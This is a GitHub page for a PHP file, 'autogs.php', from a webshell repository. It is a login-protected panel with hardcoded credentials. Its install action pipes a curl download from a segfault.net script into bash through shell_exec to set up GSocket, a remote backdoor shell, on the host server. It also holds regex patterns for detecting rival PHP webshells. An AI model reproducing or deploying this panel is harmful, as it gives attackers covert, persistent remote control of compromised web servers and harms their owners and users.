forked from null7ganteng/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathautogs.php
More file actions
372 lines (356 loc) · 15.1 KB
/
autogs.php
File metadata and controls
372 lines (356 loc) · 15.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
<script type="text/javascript">
var gk_isXlsx = false;
var gk_xlsxFileLookup = {};
var gk_fileData = {};
function loadFileData(filename) {
if (gk_isXlsx && gk_xlsxFileLookup[filename]) {
try {
var workbook = XLSX.read(gk_fileData[filename], { type: 'base64' });
var firstSheetName = workbook.SheetNames[0];
var worksheet = workbook.Sheets[firstSheetName];
// Convert sheet to JSON to filter blank rows
var jsonData = XLSX.utils.sheet_to_json(worksheet, { header: 1, blankrows: false, defval: '' });
// Filter out blank rows (rows where all cells are empty, null, or undefined)
var filteredData = jsonData.filter(row =>
row.some(cell => cell !== '' && cell !== null && cell !== undefined)
);
// Convert filtered JSON back to CSV
var csv = XLSX.utils.aoa_to_sheet(filteredData); // Create a new sheet from filtered array of arrays
csv = XLSX.utils.sheet_to_csv(csv, { header: 1 });
return csv;
} catch (e) {
console.error(e);
return "";
}
}
return gk_fileData[filename] || "";
}
</script><?php
session_start();
// Kredensial statis (ganti dengan database untuk produksi)
$valid_username = "admin";
$valid_password = "null7";
// Pola untuk mendeteksi webshell
$webshell_patterns = [
'/\beval\s*\(/i',
'/\bsystem\s*\(/i',
'/\bexec\s*\(/i',
'/\bshell_exec\s*\(/i',
'/\bpassthru\s*\(/i',
'/\bpopen\s*\(/i',
'/\bproc_open\s*\(/i',
'/\$_POST\[\'cmd\'\]/i',
'/\$_GET\[\'cmd\'\]/i',
'/\bbase64_decode\s*\(/i',
'/\bgzinflate\s*\(/i',
'/\bstr_rot13\s*\(/i',
'/\bpreg_replace\s*\(.*?\/e/i',
];
// Fungsi untuk memindai file PHP untuk pola webshell
function scanForWebshells($directory) {
global $webshell_patterns;
$results = [];
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isFile() && $file->getExtension() === 'php') {
$content = @file_get_contents($file->getPathname());
if ($content === false) {
continue;
}
$suspicions = [];
foreach ($webshell_patterns as $pattern) {
if (preg_match($pattern, $content)) {
$suspicions[] = "Matched pattern: $pattern";
}
}
if (!empty($suspicions)) {
$results[] = [
'file' => $file->getPathname(),
'suspicions' => implode(', ', $suspicions),
];
}
}
}
} catch (Exception $e) {
return ['error' => 'Error scanning directory: ' . $e->getMessage()];
}
return $results;
}
// Fungsi untuk menampilkan halaman login
function displayLogin($error = false) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GSocket Installer - Login</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
background: url('https://i.pinimg.com/originals/28/d9/a5/28d9a5107af5d4c4da117c05b4393b83.gif') no-repeat center center fixed;
background-size: cover;
font-family: 'Inter', sans-serif;
}
.fade-in {
animation: fadeIn 1s ease-in-out;
}
@keyframes fadeIn {
0% { opacity: 0; transform: translateY(20px); }
100% { opacity: 1; transform: translateY(0); }
}
.form-container {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(10px);
}
.btn:hover {
transform: scale(1.05);
transition: transform 0.2s ease-in-out;
}
</style>
</head>
<body class="flex items-center justify-center min-h-screen">
<div class="form-container p-8 rounded-2xl shadow-2xl w-full max-w-md fade-in">
<h1 class="text-3xl font-bold text-center text-gray-800 mb-6">GSocket Auto Installer</h1>
<form action="?action=login" method="POST" class="space-y-6">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="w-full px-4 py-3 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-blue-500 transition">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="w-full px-4 py-3 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-blue-500 transition">
</div>
<button type="submit" class="btn w-full bg-blue-600 text-white py-3 rounded-lg hover:bg-blue-700 transition shadow-lg">Login</button>
</form>
<?php if ($error): ?>
<p class="mt-4 text-red-500 text-center font-medium">Invalid username or password.</p>
<?php endif; ?>
</div>
</body>
</html>
<?php
}
// Fungsi untuk menampilkan halaman dashboard
function displayDashboard() {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GSocket Installer - Dashboard</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
background: #ffffff;
font-family: 'Inter', sans-serif;
}
.fade-in {
animation: fadeIn 1s ease-in-out;
}
@keyframes fadeIn {
0% { opacity: 0; transform: translateY(20px); }
100% { opacity: 1; transform: translateY(0); }
}
.card {
background: rgba(255, 255, 255, 0.95);
backdrop-filter: blur(10px);
transition: transform 0.3s ease;
}
.card:hover {
transform: translateY(-5px);
}
.btn:hover {
transform: scale(1.05);
transition: transform 0.2s ease-in-out;
}
.pulse {
animation: pulse 2s infinite;
}
@keyframes pulse {
0% { transform: scale(1); }
50% { transform: scale(1.1); }
100% { transform: scale(1); }
}
.spinner {
display: none;
border: 4px solid rgba(0, 0, 0, 0.1);
border-left-color: #22c55e;
border-radius: 50%;
width: 24px;
height: 24px;
animation: spin 1s linear infinite;
margin-left: 10px;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 12px;
text-align: left;
border-bottom: 1px solid #e5e7eb;
}
th {
background: #f3f4f6;
font-weight: 600;
}
tr {
background: #f0fdf4;
}
td {
color: #15803d;
}
</style>
<script>
function startInstallation(button) {
button.innerHTML = 'Installing... <span class="spinner inline-block"></span>';
button.classList.add('opacity-75', 'cursor-not-allowed');
document.querySelector('.spinner').style.display = 'inline-block';
const audio = document.getElementById('hackerSoundInstall');
audio.play();
setTimeout(() => {
audio.pause();
audio.currentTime = 0;
}, 5000);
}
function startScan(button) {
button.innerHTML = 'Scanning... <span class="spinner inline-block"></span>';
button.classList.add('opacity-75', 'cursor-not-allowed');
document.querySelectorAll('.spinner')[1].style.display = 'inline-block';
const audio = document.getElementById('hackerSoundScan');
audio.play();
setTimeout(() => {
audio.pause();
audio.currentTime = 0;
}, 5000);
}
</script>
</head>
<body class="min-h-screen text-gray-800">
<nav class="bg-blue-800 p-4 sticky top-0 shadow-lg">
<div class="container mx-auto flex justify-between items-center">
<h1 class="text-white text-xl font-bold">GSocket Auto Installer</h1>
<a href="?action=logout" class="text-white hover:text-blue-200 transition font-medium">Logout</a>
</div>
</nav>
<div class="container mx-auto p-6">
<div class="card rounded-2xl shadow-2xl p-8 fade-in">
<h2 class="text-2xl font-semibold mb-4 text-gray-800">GSocket Installation</h2>
<p class="text-gray-600 mb-6">Click the button below to start the GSocket installation process.</p>
<form action="?action=install" method="POST" class="mb-8">
<button type="submit" name="install" class="btn bg-green-500 text-white px-6 py-3 rounded-lg hover:bg-green-600 transition shadow-lg pulse" onclick="startInstallation(this)">Start Installation</button>
</form>
<h2 class="text-2xl font-semibold mb-4 text-gray-800">Webshell Scanner</h2>
<p class="text-gray-600 mb-6">Scan the website directory for potential PHP webshells.</p>
<form action="?action=scan" method="POST">
<button type="submit" name="scan" class="btn bg-purple-500 text-white px-6 py-3 rounded-lg hover:bg-purple-600 transition shadow-lg pulse" onclick="startScan(this)">Scan for Webshells</button>
</form>
<!-- Elemen audio untuk efek suara -->
<audio id="hackerSoundInstall" src="https://www.freesound.org/data/previews/171/171104_3049496-lq.mp3"></audio>
<audio id="hackerSoundScan" src="https://www.freesound.org/data/previews/120/120341_1849770-lq.mp3"></audio>
<?php if (isset($_SESSION['install_output'])): ?>
<div class="mt-6 p-4 bg-gray-100 rounded-lg">
<h3 class="font-semibold text-gray-800">Installation Output:</h3>
<pre class="text-sm text-gray-700"><?php echo htmlspecialchars($_SESSION['install_output']); ?></pre>
</div>
<?php endif; ?>
<?php if (isset($_SESSION['scan_results'])): ?>
<div class="mt-6 p-4 bg-gray-100 rounded-lg">
<h3 class="font-semibold text-gray-800">Webshell Scan Results:</h3>
<?php if (isset($_SESSION['scan_results']['error'])): ?>
<p class="text-red-500"><?php echo htmlspecialchars($_SESSION['scan_results']['error']); ?></p>
<?php elseif (empty($_SESSION['scan_results'])): ?>
<p class="text-green-500 font-medium">No suspicious PHP files detected.</p>
<?php else: ?>
<table>
<thead>
<tr>
<th>File Path</th>
<th>Suspected Issues</th>
</tr>
</thead>
<tbody>
<?php foreach ($_SESSION['scan_results'] as $result): ?>
<tr>
<td><?php echo htmlspecialchars($result['file']); ?></td>
<td><?php echo htmlspecialchars($result['suspicions']); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<?php unset($_SESSION['scan_results']); ?>
<?php endif; ?>
</div>
</div>
</body>
</html>
<?php
}
// Logika utama berdasarkan aksi
$action = isset($_GET['action']) ? $_GET['action'] : '';
if ($action === 'login' && $_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === $valid_username && $password === $valid_password) {
$_SESSION['loggedin'] = true;
header("Location: ?action=dashboard");
exit;
} else {
displayLogin(true);
exit;
}
} elseif ($action === 'dashboard') {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
displayLogin();
exit;
}
displayDashboard();
exit;
} elseif ($action === 'install' && $_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
displayLogin();
exit;
}
if (isset($_POST['install'])) {
// Perintah instalasi GSocket berdasarkan dokumentasi
$install_command = "curl -fsSL http://nossl.segfault.net/deploy-all.sh -o deploy-all.sh && bash deploy-all.sh 2>&1";
$output = shell_exec($install_command);
$_SESSION['install_output'] = $output ? $output : "Installation completed, but no output was captured.";
}
header("Location: ?action=dashboard");
exit;
} elseif ($action === 'scan' && $_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
displayLogin();
exit;
}
if (isset($_POST['scan'])) {
// Memindai direktori saat ini (website root)
$directory = __DIR__;
$_SESSION['scan_results'] = scanForWebshells($directory);
}
header("Location: ?action=dashboard");
exit;
} elseif ($action === 'logout') {
session_destroy();
header("Location: ?");
exit;
} else {
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
displayDashboard();
} else {
displayLogin();
}
}
?>